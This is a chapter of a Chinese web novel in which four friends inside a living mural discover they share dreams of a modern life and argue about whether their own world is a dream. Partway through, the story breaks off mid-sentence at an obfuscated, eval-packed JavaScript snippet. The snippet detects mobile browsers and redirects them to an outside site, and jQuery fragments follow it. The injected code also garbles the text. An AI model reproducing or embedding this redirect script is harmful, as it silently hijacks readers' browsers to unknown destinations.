15. 第十五章 南柯

作品:《壁画师之活经降魔变

    四人中最沉静最稳定的时苑一声暴喝,比冯文并说要退出的影响还大,周蕴只觉被一道惊雷劈中,悍然震碎了蒙在梦境之上的“布”,梦中场景缓缓铺开——


    那是另一个周蕴的一生。


    那是个与当下完全不同的世界。


    天的蓝附了层薄薄的灰,山川河流皆被烙上人的印记,人的数量更是前所未有。聚居地的房屋所用之材料,不是当地生长最繁盛的树木,而是清一色诞生于同一材料同一工艺的钢筋混凝土,房屋的朝向和空间不再顺从于自然,而是随人心之所欲,无论多么荒诞的想法都能落地,无论多么险峻的地形都能扎根。天地万物看似与人联系更为紧密,却又仿佛离得更远了。


    周蕴生于小城,作为家中独生女,家中虽不富裕,倒也不至于捉襟见肘。但他父母却是正经从贫穷家庭一路打拼上来的,强烈的忧患意识刻入骨髓,并在周蕴年幼时就将此强行灌输给她。


    小时候的周蕴,路过琳琅满目的透明橱窗,即使看上里面的东西,脚步也几乎不停,顶多眼底闪过一丝亮光,像是看了一眼美丽却与自己无关的风景。她不敢表达,因为只要一提,毫无意外会被质疑,原因是这东西太贵了、不实用、骗小孩子的、家中不富裕......就这么几个,父母也不想着换一个。


    很小的时候,也不知自己为何无缘由地喜欢画画,她靠考得一次好成绩换来的画画兴趣班,结果第一天放学,她兴高采烈把作品拿回家,却换回了一句“浪费颜料钱”。


    渐渐地,她对喜欢的东西变得无动于衷,到后来,她好像忘了什么是喜欢,什么是想要的,好像他们说应该怎么样就怎么样,他们说什么东西是好的,那就是好的,他们质疑的就都是不应该的。


    好在学业方面,她一直很争气,小学、中学、大学都是靠自己优异成绩一路畅通,与奖学金相抵,没花家里多少钱,所以她自然也成了父母的骄傲,家族的骄傲,每次聚会都会拿她出来捧一捧。


    在她父母吹嘘的时候,周蕴却跟个局外人一样冷眼旁观,她不明白有什么好骄傲的,甚至觉得丢脸。


    养出一个不能自主动弹的提线玩偶,这种教育也算成功?荒唐至极。


    然而事情在读大学的时候发生了变化。


    在填报志愿时,她凭借当年印象深刻的“颜料浪费钱”事件,进而判断自己应该是“喜欢”画画的,于是她没有犹豫地报了建筑学,与她从小玩到大的朋友邱德菲成了大学同学。


    二人与同系的同学时苑和冯文并不打不相识,周蕴别出心裁,时苑稳定缜密,邱德菲雷厉风行,冯文并天马行空,相似的理念、默契的配合,四人强强联手所向披靡,无数次杀入各类专业比赛,斩获众多奖项。


    在四人组刚成立的初期,周蕴却只是一个高效的绘图工具,邱德菲高中时一次偶然拉她参加的比赛,让她“挖掘”出自己这项技能。那时候的她,在方案讨论时基本没发表过自己的想法,但在后期,无论多么天马行空荒诞离奇的方案,都能在她手下迅速成型、落地,是整组人最为坚定的大后方。


    几次之后众人渐渐习惯了这种配合,直到一次时苑见到她扔在废纸篓的废稿。


    “你这想法不比老冯的好多了?”时苑仔仔细细将草稿上的折痕熨平。


    “这就是按他的想法画的图纸。”周蕴一时又恼又尴尬,“不过他这方案确实有点理想,既然你和邱邱否决了,留着也没用,扔了吧。”


    没想到时苑却不为所动,认真道:“这不是老冯的方案,虽然表面看上去很像,但从出发点就不一样,这个解决策略很妙啊。”


    周蕴当然不相信,她的想法怎么可能很妙。


    时苑生于大城市的富裕家庭,不但性格好,在设计方面也是个天才,但她本人却低调到一种境界,总给人一种超脱的感觉。


    这件事情周蕴也没记在心上,直到之后的课程汇报时,“资深演讲高手”邱德菲在讲完最后一页ppt后,依旧拨动手指,随着鼠标滚轮一动,一张连幻灯片的制作者周蕴都没见过ppt出现在大众视野,页面顶上赫然写了三个大字——方案B,继而,一个脱胎于周蕴废稿中的完整方案展现在所有人面前,图纸甚至比第一个方案精细,最终斩获了所有老师的好评。


    时苑瞒着她,与邱德菲和冯文并合力让她的想法落了地。


    之前她是众人的大后方,这一次,众人把她托举起来,并且让她明白——不妄自菲薄,要相信自己,她值得。


    事后,周蕴想找几人兴师问罪——


    “你的想法特别好。”邱德菲笑得粲然。


    冯文并也跟着没心没肺地笑:“是啊,早知道你这么能耐我就不班门弄斧了。”


    时苑没说话,只是笑。


    自此,周蕴不再是个画图机器,她成了四人小组的主心骨。


    转眼间到了大五,她因为成绩优异,早早就拿到了一家知名老牌设计公司的offer,如家里人期望的那样,父母甚至破天荒地重金摆下酒席庆祝。


    但提前去实习的周蕴却高兴不起来——


    一方面,她无疑是喜欢建筑设计的,但受到四人组的影响,她对古建筑已经萌生了浓厚的兴趣。


    而另一边,也是最重要的,看上去风光无比的设计院,实际上已经走上了穷途末路,行业颓势难掩,资本恨不得压榨完员工最后一滴血汗。至于工作内容则全都是前作的生搬硬套,面对甲方的无理要求,放弃底线是常有的事。在公司的角度,最为理想的人才大概是任劳任怨随时待命的画图机器人,个人的想法于他们眼中,就像是讳莫如深的锈斑,一旦滋生就会成为公司这个大机器运转的阻碍,需要及时除去。而且在各大势力盘根错节的老牌公司,无人脉或者拍马屁的技艺傍身,职业生涯几乎是一眼望到尽头。


    “看来你不喜欢那里?”时苑问道。


    “加班熬夜的是我,最后出错背锅的还是我......”周蕴托着腮,将目光望向天上遥不可及的星子,“而且我发现我好像并不喜欢这种生活。”


    换成以前,周蕴自然毫无异议地接受,但如今的她已经不是提线木偶,她有了自己的想法——她很清楚,这不是她想要的生活,但若是放弃这份工作,她则将要面临的是整个亲族的质疑,还有未卜的前途。


    梦的景象戛然而止。


    壁画里喧闹一天的京城也终于归于平静。


    真安静啊。


    心头无端掀起一阵庆幸,周蕴叹道:幸好只是一场梦。


    然而下一刻,她就在诡异的气氛中想起了“入梦”前发生了什么。


    “我只是想要我爸,怎么了?”冯文并的声音喑哑,面上的怒色消了,却融了些哀色。


    什么跟什么?


    话也奇怪,人也奇怪。在周蕴的“梦”里,这人成日嘻嘻哈哈,喜怒哀乐四种情绪只有头尾两个跟他有关。


    “你爸可真是个好教授啊。”邱德菲却跟个炮仗一样,一点就着。


    这又是什么?周蕴只觉得人麻了,目光不自觉扫到时苑身上,下一刻她忽的福至心灵——


    时苑:“冯文并,不要急,仔细说说你看到什么。”


    周蕴:“邱邱你先冷静,先听老冯说。”


    周蕴和时苑几乎同时开口。


    冯文并和邱德菲几乎是同时顿住,震惊地望向周蕴,剑拔弩张的气氛登时消散,周蕴这才后知后觉意识到刚才一急之下,顺口喊出邱德菲的昵称。在梦里,邱德菲这个暴脾气,只有周蕴能稍微按下来。


    “‘邱邱’?难道我们做的是同一个梦?”震惊过后,冯文并很快又恢复成那副丧样子,“梦里我爸生病了,我却无能为力。”


    其他三人又一次震惊。


    “不是,明明我们.......”怒意未消的邱德菲脱口而出的话被她的理智及时拦住,她一时有点无措。


    “我的梦里不是这样的。”她斟酌道。


    “他被我气得心梗了。”见邱德菲身上咄咄逼人的气势泄了一半,冯文并倒是愿意多说了一点,他苦笑一声,“幸好只是个梦。至少在这里,我双亲都还建在,身体康健。”


    周蕴和时苑交换了个眼神,随即时苑拦下了邱德菲的话头:“你们要不要听我的版本?”


    周蕴竖着耳朵听时苑讲她的故事,从出身到高中校友冯文并,再到四人组波澜壮阔的大学时光,最后以寻求冯教授的推荐无果结尾。


    “怎么可能?在我梦里他都快不行了。”


    冯文并认真听完,从梦境中带出来的恐惧渐渐稀释,总算冷静了些,“而且我是什么人你们不知道吗?怎么会做出这种事?这个比赛我也没印象啊,这么好玩我怎么会不参加?”


    “我的故事也大差不差。”邱德菲抱着手,显然也回过味来。


    “还有,冯教授是你爸?你竟然瞒着我们这么多年?”语气听着像兴师问罪,却只是流于表面。


    “低调嘛,不然要应付的闲话太多,反正我从来也没有靠过他。”冯文并皱眉道,“但他怎么能这样?”


    邱德菲切了一声,没再理他。


    “这么说,前面的故事我们基本是一样的,只是视角不同?”周蕴很快抓住重点。


    “是哦,”冯文并挠了挠头。“为什么会这样?”


    被周蕴这么一点,邱德菲反应过来,连同时苑在内,三人只觉得浑身起鸡皮疙瘩。


    只有冯文并没反应过来:“你们怎么都这么严肃?”


    真相。


    有相所说的真相。


    之前掠过的念头再次在周蕴的脑中蔓延开来,她不由得开始回顾自己作为须弥山周氏一员的记忆源头,她惊悚地发现,她努力翻找尘封记忆的过程,与捞起片段的感觉如出一辙。


    但后面的内容又为什么会不一样?


    应该还缺了什么东西。


    “我们来对一下最后一幕。”时苑显然与周蕴想到一处去了。


    邱德菲又一次陷入不是很美好的回忆:“刚和教授完吵架。”


    “一样。”周蕴答道。


    冯文并显然也不是很想回忆:“跟我爸在去医院的救护车上。”


    众人一时陷入沉默,两个靠谱的在仔细分析形势,另外两个却是不知道被记忆带到了哪里,与此同时,活壁画和活沙盘片


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557951|169839||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刻不停,滚滚向前。


    “我也有点想退出了,”邱德菲一语惊人,也不知道她在诡异的沉默中都想了些什么,这时候居然临阵倒戈:


    “我现在已经是扬州最出名的画师了,现在这样挺好的。真相什么的,我觉得好像不是很重要。”


    她给梦里的自己下了定义,天赋一般,靠勤奋和抱大腿才混出了许多奖项。如果那个比赛参加不了,保研估计要落空,考研、就业都不容易,前途一片渺茫,跟现在风光无限的壁画师邱德菲完全是天壤之别。


    “我现在的父亲活得好好的,一家和和美美,也挺好。”冯文并底气不足地附和。


    绝了,周蕴一整个无语住。也不知道这一对死冤家怎么就破天荒站在同一战线上了:“都走到这里了,你们还想着能继续醉生梦死?”


    “我们的世界很可能才是一场梦。”眼见两只伸向石板背面的爪子即将得逞,时苑终于一狠心将血淋淋的推论摆到明面上,语不惊人死不休。


    两只爪子登时被唬住了。


    这正是他们但不敢细想的。


    “是因为我们在这里才想起这些,还是这些本来就存在我们的意识里,尚且未有结论。”见两人神色煞白,周蕴及时出言安慰。


    “老冯,在我们的记忆里,冯教授康健得很。”


    “而且邱邱,”周蕴一眼就看出来邱德菲骄傲的外表下藏着的不自信,“在我眼里你从小到大可都是个学霸啊,只是你对自己要求太高了。”


    又一次陷入沉默,壁画和沙盘却依旧闪烁不停,光阴流转,日夜不息。


    过了良久,好似是怕众人拖慢进度一样,消失了很久的有相终于忍无可忍,跳出来刷了波存在感:“各位,讨论哲学问题往后多的是时间,请专注当下的题目。”


    众人:“......”


    冯文并的脑子炖成一锅粥,一时也不知道该不该退出,模模糊糊中听着有个声音指了条路,于是顺着有相的话瞥了眼沙盘,然后惊呆了:“这哪?”


    刚才自动播放时众人也不是没有关注,但画面内容单调无比,都是小甲三点一线的生活,然而就在邱德菲和冯文并闹着要离开想这一会功夫,朝堂上不知发生了什么,直到众人焦点回归,已见到小甲被人剥下官服丢到大牢里了。


    “这地方不是当年关小乙的?”邱德菲疑惑道。


    她也拿不定主意,于是索性先再看看——毕竟撇下队友好像也不太厚道,有过一次前科的冯文并还没离开呢。


    “啊哈!原来你刚才也开了小差!”冯文并无情嘲笑,“还骂我!”


    “老冯,看看原因。”周蕴忍不住打断,把这匹要脱缰的野马抓回主线。


    “我哪知道......”冯文并一脸懵,反应了好一会才意识到他现在可是个官宦子弟,随即把原来的脑子翻出来重新安上。


    “果然,”他研究了片刻,而后又重拾那副欠揍的得意表情,“科举那事被翻出来了,你们看旁边牢房和正在刑堂上的那两位,这俩正是当年考院里的两位同僚,才五六年都这么老了,咱小甲......”


    他本想说小甲还没什么变化,目光移动才意识到其实小甲的头发也已经半白,腰也躬了一个不小的弧度,较他那两位同僚有过之无不及,若非作为主角,可能几人都没能认出来。


    “会是什么罪名?后果呢?”周蕴问。


    “大小都有吧,要看情况。”


    这时画面尽头突然了出现一个熟悉的身影,冯文并惊讶道,“小乙?”


    “果然,他确实是黑化了。”邱德菲冷哼一声,“一副小人得志的模样,也难怪当年小甲会割袍断义。”


    却见小甲挺直了背盘腿坐在牢中的草席上,任凭小乙说什么都无动于衷。二人割袍断义后,小甲再也没有正眼看过这位曾经的知己。


    此时,无人注意的画面一角,一匹快马的影子闪过,直入宫墙,不到片刻,一道圣旨就从宫里来到狱中。


    束手无策的众人看到了转机。


    就像当年小乙一样。


    圣旨是夜里来的,小甲一行人则近乎是踏着第一缕晨光出的京城,不知是何地出了十万火急的战事,小甲跟随着一队军马浩浩荡荡往南疾驰而去,小小甲竟也在军中。


    路上的时间仿佛被按了快进键,画面和时间飞速流转,直到慢下来时,众人才发现那是通往小甲当年贬官之地的必经之路。


    不到一会,绣球姑娘的墓到了。时过境迁,那棵亭亭如盖的大树已被拦腰砍断,墓碑缺了个角,掩在一堆杂草中,整座山都是被马蹄践踏战火焚烧的痕迹。


    随着小甲一路往南,众人很快看到视野尽头熟悉的小城。


    其时那座注入小甲诸多心血的小城正被一队兵马围得如铁桶一般,城中士兵和兵马正在小甲当年修建的城墙上激烈交锋。


    交战之地,当年小小甲放风筝的草坪已被践踏得坑洼不平,炮火卷起了滚滚尘土——


    说时迟那时快,一个熟悉到不能再熟悉的残片忽的在周蕴的脑海中闪现。


    ——“劝君更尽一杯酒,西出阳关无——故——人——(注1)”